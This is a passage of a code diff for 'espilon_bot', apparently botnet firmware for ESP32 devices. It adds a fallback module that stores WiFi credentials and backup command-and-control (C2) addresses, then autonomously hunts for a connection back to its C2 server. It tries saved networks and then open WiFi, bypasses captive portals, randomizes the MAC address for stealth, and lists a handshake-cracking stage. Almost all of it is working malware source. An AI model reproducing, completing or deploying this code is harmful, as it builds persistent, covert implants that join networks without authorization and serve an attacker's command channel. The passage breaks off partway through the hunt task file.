migrate_from_rt_cfg();
|
||||
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
static void net_key_ssid(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "n_%d", idx);
|
||||
}
|
||||
|
||||
static void net_key_pass(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "p_%d", idx);
|
||||
}
|
||||
|
||||
int fb_config_net_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int fb_config_net_list(fb_network_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_FB_MAX_KNOWN_NETWORKS) count = CONFIG_FB_MAX_KNOWN_NETWORKS;
|
||||
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(fb_network_t));
|
||||
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].ssid, &len);
|
||||
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
len = FB_PASS_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].pass, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool fb_config_net_add(const char *ssid, const char *pass)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
|
||||
/* Check if SSID already exists → update */
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[FB_SSID_MAX_LEN] = {0};
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Updated network '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_FB_MAX_KNOWN_NETWORKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
net_key_ssid(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, ssid);
|
||||
|
||||
net_key_pass(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "fb_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool fb_config_net_remove(const char *ssid)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
|
||||
int found = -1;
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[FB_SSID_MAX_LEN] = {0};
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Shift entries down */
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16];
|
||||
char buf[FB_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
net_key_ssid(i + 1, src_key, sizeof(src_key));
|
||||
net_key_ssid(i, dst_key, sizeof(dst_key));
|
||||
len = FB_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
|
||||
net_key_pass(i + 1, src_key, sizeof(src_key));
|
||||
net_key_pass(i, dst_key, sizeof(dst_key));
|
||||
len = FB_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
net_key_ssid(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
net_key_pass(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "fb_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
int fb_config_c2_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int fb_config_c2_list(fb_c2_addr_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_FB_MAX_C2_FALLBACKS) count = CONFIG_FB_MAX_C2_FALLBACKS;
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(fb_c2_addr_t));
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].addr, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool fb_config_c2_add(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[FB_ADDR_MAX_LEN] = {0};
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
nvs_close(h);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_FB_MAX_C2_FALLBACKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)count);
|
||||
nvs_set_str(h, key, addr);
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool fb_config_c2_remove(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
int found = -1;
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[FB_ADDR_MAX_LEN] = {0};
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16], buf[FB_ADDR_MAX_LEN];
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
|
||||
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage
|
||||
* ============================================================ */
|
||||
|
||||
void fb_config_save_orig_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Failed to read STA MAC");
|
||||
return;
|
||||
}
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return;
|
||||
|
||||
nvs_set_blob(h, "orig_mac", mac, 6);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
bool fb_config_get_orig_mac(uint8_t mac[6])
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
size_t len = 6;
|
||||
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
|
||||
nvs_close(h);
|
||||
return (err == ESP_OK && len == 6);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
66
espilon_bot/components/mod_fallback/fb_config.h
Normal file
66
espilon_bot/components/mod_fallback/fb_config.h
Normal file
@ -0,0 +1,66 @@
|
||||
/*
|
||||
* fb_config.h
|
||||
* NVS-backed known networks + C2 fallback addresses.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS
|
||||
#define CONFIG_FB_MAX_KNOWN_NETWORKS 16
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_FB_MAX_C2_FALLBACKS
|
||||
#define CONFIG_FB_MAX_C2_FALLBACKS 4
|
||||
#endif
|
||||
|
||||
#define FB_SSID_MAX_LEN 33 /* 32 + NUL */
|
||||
#define FB_PASS_MAX_LEN 65 /* 64 + NUL */
|
||||
#define FB_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[FB_SSID_MAX_LEN];
|
||||
char pass[FB_PASS_MAX_LEN];
|
||||
} fb_network_t;
|
||||
|
||||
/* Init NVS namespace + migrate from old rt_cfg if needed. */
|
||||
void fb_config_init(void);
|
||||
|
||||
bool fb_config_net_add(const char *ssid, const char *pass);
|
||||
bool fb_config_net_remove(const char *ssid);
|
||||
int fb_config_net_list(fb_network_t *out, int max_count);
|
||||
int fb_config_net_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char addr[FB_ADDR_MAX_LEN]; /* "ip:port" */
|
||||
} fb_c2_addr_t;
|
||||
|
||||
bool fb_config_c2_add(const char *addr);
|
||||
bool fb_config_c2_remove(const char *addr);
|
||||
int fb_config_c2_list(fb_c2_addr_t *out, int max_count);
|
||||
int fb_config_c2_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage (for restoration)
|
||||
* ============================================================ */
|
||||
|
||||
void fb_config_save_orig_mac(void);
|
||||
bool fb_config_get_orig_mac(uint8_t mac[6]);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
703
espilon_bot/components/mod_fallback/fb_hunt.c
Normal file
703
espilon_bot/components/mod_fallback/fb_hunt.c
Normal file
@ -0,0 +1,703 @@
|
||||
/*
|
||||
* fb_hunt.c
|
||||
* Fallback hunt state machine — autonomous network recovery.
|
||||
* FreeRTOS task (8KB stack, Core 1).
|
||||
*
|
||||
* Pipeline: known networks → open WiFi + captive bypass → loop
|
||||
* No C2 commands needed — auto-triggered on TCP failure.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_hunt.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/event_groups.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "fb_config.h"
|
||||
#include "fb_stealth.h"
|
||||
#include "fb_captive.h"
|
||||
|
||||
static const char *TAG = "FB_HUNT";
|
||||
|
||||
#define FB_HUNT_STACK 8192
|
||||
#define FB_HUNT_PRIO 6
|
||||
#define FB_WIFI_TIMEOUT_MS 8000
|
||||
#define FB_TCP_TIMEOUT_S 5
|
||||
#define FB_RESCAN_DELAY_S 60
|
||||
|
||||
/* Event bits for WiFi events */
|
||||
#define FB_EVT_GOT_IP BIT0
|
||||
#define FB_EVT_DISCONNECT BIT1
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
|
||||
static volatile fb_state_t s_state = FB_IDLE;
|
||||
static char s_connected_ssid[33] = {0};
|
||||
static char s_connected_method[16] = {0};
|
||||
static atomic_bool s_active = false;
|
||||
static TaskHandle_t s_task_handle = NULL;
|
||||
static EventGroupHandle_t s_evt_group = NULL;
|
||||
|
||||
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
|
||||
static SemaphoreHandle_t s_state_mutex = NULL;
|
||||
|
||||
/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
|
||||
static bool s_skip_gprs = false;
|
||||
|
||||
static inline void state_lock(void) {
|
||||
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
|
||||
}
|
||||
static inline void state_unlock(void) {
|
||||
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
|
||||
}
|
||||
|
||||
/* Saved original WiFi config for restore */
|
||||
static wifi_config_t s_orig_wifi_config;
|
||||
static bool s_orig_config_saved = false;
|
||||
|
||||
/* State name lookup */
|
||||
static const char *state_names[] = {
|
||||
[FB_IDLE] = "idle",
|
||||
[FB_STEALTH_PREP] = "stealth_prep",
|
||||
[FB_PASSIVE_SCAN] = "passive_scan",
|
||||
[FB_TRYING_KNOWN] = "trying_known",
|
||||
[FB_TRYING_OPEN] = "trying_open",
|
||||
[FB_PORTAL_CHECK] = "portal_check",
|
||||
[FB_PORTAL_BYPASS] = "portal_bypass",
|
||||
[FB_C2_VERIFY] = "c2_verify",
|
||||
[FB_HANDSHAKE_CRACK] = "handshake_crack",
|
||||
[FB_GPRS_DIRECT] = "gprs_direct",
|
||||
[FB_CONNECTED] = "connected",
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* WiFi event handler for hunt (registered dynamically)
|
||||
* ============================================================ */
|
||||
|
||||
static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
|
||||
int32_t id, void *data)
|
||||
{
|
||||
if (!s_evt_group) return;
|
||||
|
||||
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
|
||||
xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
|
||||
}
|
||||
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void set_state(fb_state_t new_state)
|
||||
{
|
||||
state_lock();
|
||||
s_state = new_state;
|
||||
state_unlock();
|
||||
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
|
||||
}
|
||||
|
||||
/* Try to connect to a WiFi network. Returns true if got IP. */
|
||||
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
|
||||
{
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
|
||||
if (pass && pass[0]) {
|
||||
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
|
||||
}
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
|
||||
esp_wifi_connect();
|
||||
|
||||
EventBits_t bits = xEventGroupWaitBits(
|
||||
s_evt_group,
|
||||
FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
|
||||
pdTRUE, /* clear on exit */
|
||||
pdFALSE, /* any bit */
|
||||
pdMS_TO_TICKS(timeout_ms)
|
||||
);
|
||||
|
||||
if (bits & FB_EVT_GOT_IP) {
|
||||
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try TCP connect to C2. Returns true if reachable. */
|
||||
static bool tcp_try_c2(const char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr.s_addr = inet_addr(ip);
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return false;
|
||||
|
||||
struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
lwip_close(s);
|
||||
|
||||
if (ret == 0) {
|
||||
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try C2 primary + fallbacks. Returns true if any reachable. */
|
||||
static bool verify_c2_reachable(void)
|
||||
{
|
||||
set_state(FB_C2_VERIFY);
|
||||
|
||||
/* Try primary C2 */
|
||||
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Try NVS fallback addresses */
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
if (tcp_try_c2(ip_buf, port)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Mark successful connection */
|
||||
static void mark_connected(const char *ssid, const char *method)
|
||||
{
|
||||
state_lock();
|
||||
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
|
||||
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
|
||||
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
|
||||
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
|
||||
state_unlock();
|
||||
set_state(FB_CONNECTED);
|
||||
|
||||
ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WiFi scan
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[33];
|
||||
uint8_t bssid[6];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
wifi_auth_mode_t authmode;
|
||||
} fb_candidate_t;
|
||||
|
||||
#define FB_MAX_CANDIDATES 32
|
||||
|
||||
static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
|
||||
static int s_candidate_count = 0;
|
||||
|
||||
static void do_wifi_scan(void)
|
||||
{
|
||||
s_candidate_count = 0;
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
wifi_scan_config_t scan_cfg = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time = {
|
||||
.active = { .min = 120, .max = 300 },
|
||||
},
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
||||
return;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
if (ap_count == 0) {
|
||||
ESP_LOGW(TAG, "Scan: 0 APs found");
|
||||
return;
|
||||
}
|
||||
|
||||
if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;
|
||||
|
||||
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
|
||||
if (!records) {
|
||||
esp_wifi_clear_ap_list();
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_scan_get_ap_records(&ap_count, records);
|
||||
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
fb_candidate_t *c = &s_candidates[s_candidate_count];
|
||||
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
|
||||
c->ssid[sizeof(c->ssid) - 1] = '\0';
|
||||
memcpy(c->bssid, records[i].bssid, 6);
|
||||
c->rssi = records[i].rssi;
|
||||
c->channel = records[i].primary;
|
||||
c->authmode = records[i].authmode;
|
||||
s_candidate_count++;
|
||||
}
|
||||
|
||||
free(records);
|
||||
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 1: Try known networks (original WiFi + NVS)
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_known_networks(void)
|
||||
{
|
||||
set_state(FB_TRYING_KNOWN);
|
||||
|
||||
/* Try original WiFi config first (the one we were connected to) */
|
||||
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
|
||||
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
|
||||
(char *)s_orig_wifi_config.sta.ssid);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
|
||||
(char *)s_orig_wifi_config.sta.password,
|
||||
FB_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
|
||||
}
|
||||
}
|
||||
|
||||
/* Then try NVS known networks */
|
||||
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
|
||||
int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (net_count == 0) {
|
||||
ESP_LOGI(TAG, "No additional known networks in NVS");
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int n = 0; n < net_count; n++) {
|
||||
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(nets[n].ssid, "known");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 2: Try open WiFi networks + captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_open_networks(void)
|
||||
{
|
||||
set_state(FB_TRYING_OPEN);
|
||||
|
||||
for (int i = 0; i < s_candidate_count; i++) {
|
||||
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
|
||||
continue;
|
||||
if (s_candidates[i].ssid[0] == '\0')
|
||||
continue; /* hidden */
|
||||
|
||||
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
|
||||
s_candidates[i].ssid, s_candidates[i].rssi);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
|
||||
/* Check for captive portal */
|
||||
set_state(FB_PORTAL_CHECK);
|
||||
fb_portal_status_t portal = fb_captive_detect();
|
||||
|
||||
if (portal == FB_PORTAL_NONE) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
} else if (portal == FB_PORTAL_DETECTED) {
|
||||
set_state(FB_PORTAL_BYPASS);
|
||||
if (fb_captive_bypass()) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open+portal");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
|
||||
s_candidates[i].ssid);
|
||||
} else {
|
||||
/* FB_PORTAL_UNKNOWN — try C2 directly anyway */
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Hunt task — main state machine
|
||||
* ============================================================ */
|
||||
|
||||
extern atomic_bool fb_active; /* defined in WiFi.c */
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
extern void wifi_pause_reconnect(void);
|
||||
